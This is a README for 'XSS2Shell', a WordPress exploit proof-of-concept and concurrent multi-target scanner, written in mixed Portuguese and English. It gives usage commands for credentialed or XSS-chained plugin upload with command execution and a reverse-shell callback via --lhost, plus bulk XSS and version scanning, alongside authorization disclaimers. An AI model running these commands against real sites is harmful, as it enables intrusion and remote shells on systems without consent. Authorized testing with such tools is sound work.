🔍 @Mr-LeonardoGomes

💀 XSS2Shell-CVE-2026-64638

XSS2Shell Multi-Target Scanner

Desenvolvedor: Crédito: YogaGymn

Utilitário PoC/scanning para testes de segurança autorizados em WordPress. O projeto contém um fluxo de exploração para alvo único e um modo apenas scan multi-alvo concorrente.

Importante: Use este projeto apenas em instalações WordPress que você possui ou para as quais tem autorização explícita para testar. O scanner multi-alvo é intencionalmente limitado à identificação de versão e detecção de reflexão XSS; ele não realiza captura de credenciais, upload de plugin ou RCE contra uma lista de alvos.

Funcionalidades

Modo alvo único

O script original suporta:

• Identificação da versão do WordPress.
• Detecção de reflexão XSS.
• Modos auto, xss e direct.
• Fluxo de autenticação direta no WordPress e upload de plugin.
• Funcionalidade de cadeia XSS presente no PoC original.
• Funcionalidade opcional de callback/reverse-shell presente no PoC original.

Modo multi-alvo

O scanner adicionado suporta:

• Leitura de alvos de um arquivo de texto.
• Remoção de alvos duplicados.
• Scanning concorrente com ThreadPoolExecutor.
• Número configurável de workers.
• Detecção da versão do WordPress.
• Detecção de reflexão XSS.
• Relatório de progresso.
• Resultados salvos na mesma ordem do arquivo de entrada.
• Estatísticas resumidas.

O modo multi-alvo não chama as funções originais de RCE.

Requisitos

• Python 3.9+
• requests

Instale a dependência:

python3 -m pip install requests

Se sua distribuição Linux usar um ambiente Python gerenciado externamente, use um ambiente virtual:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

Installation

Clone ou copie o projeto: Original do exploit yogaGymn

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

Ou simplesmente coloque:

xss2shell.py

no seu diretório de trabalho.

Scanner de Múltiplos Alvos

Crie um arquivo chamado targets.txt OU alvos.txt:

https://example1.test
https://example2.test
https://example3.test

Comentários e linhas vazias são ignorados:

# Alvos de laboratório autorizado
https://example1.test

https://example2.test

Execute o scanner:

python3 xss2shell.py -i targets.txt

A concorrência padrão é de 10 workers.

Alterar a concorrência

Por exemplo, use 20 workers:

python3 xss2shell.py -i targets.txt --workers 20

For a small lab:

python3 xss2shell.py -i targets.txt --workers 5

Não escolha um número de workers desnecessariamente alto, pois isso pode aumentar a carga de conexões e acionar limites de taxa ou controles defensivos.

Alterar arquivo de saída

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

Examplo Output

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

Formato do resultado

The default scan_results.txt uses tab-separated fields:

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

Example:

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

XSS valores de status

Status Meaning

XSS_REFLECTION_DETECTED The scanner detected the tested HTML reflection behavior. This is not by itself proof of RCE.

XSS_NOT_DETECTED The tested reflection was not detected.

ERROR The check encountered an exception.

Valores de detalhes de XSS

O scanner pode relatar detalhes como:

• RAW_HTML
• AREA_BYPASS
• ESCAPED
• STRIPPED
• NOT_REFLECTED

Estes valores descrevem a resposta observada pela rotina de detecção; eles devem ser validados manualmente antes de considerar um resultado como uma vulnerabilidade confirmada.

Uso com alvo único

O script original também oferece suporte a argumentos de alvo único.

Modo automático

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

Mode direto

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

XSS mode

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

Os fluxos de trabalho XSS/diretos podem criar ou ativar um plugin que contenha funcionalidade de execução de comandos. Utilize-os apenas em um ambiente de teste autorizado.

Referência da CLI

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

Argumentos

Argument Description

target Single target URL.

-i, --input File containing multiple targets.

--output Output file for multi-target results. Default: scan_results.txt.

--workers Number of concurrent workers. Default: 10.

--mode Original single-target mode: auto, xss, or direct.

-u, --username WordPress username for the original direct/fallback workflow.

-p, --password WordPress password for the original direct/fallback workflow.

--lhost Callback/reverse-shell host for the original PoC.

--lport Reverse-shell port. Default: 4444.

--slug Plugin slug. Default: xss2shell.

--callback-port Callback server port. Default: 9090.

--no-rev Skip reverse-shell triggering in the original workflow.

Como funciona a varredura simultânea

O modo de múltiplos alvos utiliza o seguinte recurso do Python:

ThreadPoolExecutor

Cada alvo é enviado como uma tarefa de varredura independente:

targets.txt
     |
     v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ... 
+----+----+----+----+
  |    |    |    |
  v    v    v    v
 WP   WP   WP   WP
 XSS  XSS  XSS  XSS
  |    |    |    |
  +----+----+----+
        |
        v
   scan_results.txt

Os resultados são coletados à medida que as tarefas são concluídas, enquanto a saída final é gerada seguindo a ordem original dos alvos.

Escopo e Segurança

O modo de múltiplos alvos foi projetado para avaliações de segurança autorizadas e ambientes de laboratório.

Fluxo de trabalho recomendado:

1. Obtenha autorização por escrito.
2. Inclua apenas domínios/IPs autorizados no arquivo targets.txt.
3. Comece com um número reduzido de workers (processos de execução).
4. Analise a saída do scanner.
5. Valide manualmente as descobertas relevantes.
6. Documente as evidências e a remediação.

Não utilize o scanner contra sistemas de terceiros sem permissão.

Limitações

O scanner não é uma ferramenta completa de avaliação de vulnerabilidades.

Em particular:

• Uma reflexão HTML detectada não comprova automaticamente a existência de uma vulnerabilidade XSS explorável.
• A versão do WordPress obtida a partir de endpoints públicos pode estar ausente ou incorreta.
• O status unknown (desconhecido) não significa que o alvo seja vulnerável.
• Erros de rede podem gerar resultados incompletos.
• O comportamento de WAF/CDN pode afetar a detecção.
• O scanner não determina a explorabilidade ou a possibilidade de RCE no modo de múltiplos alvos.
• Os resultados devem ser verificados manualmente antes de relatar uma vulnerabilidade.

Estrutura do Projeto

.
├── xss2shell.py
├── targets.txt
└── scan_results.txt

Licença

Não havia informações sobre licença no código-fonte fornecido.

Se este projeto for publicado publicamente, adicione um arquivo de licença explícito, como LICENSE. Este código é um desenvolvimento posterior do código original da ZSecurity.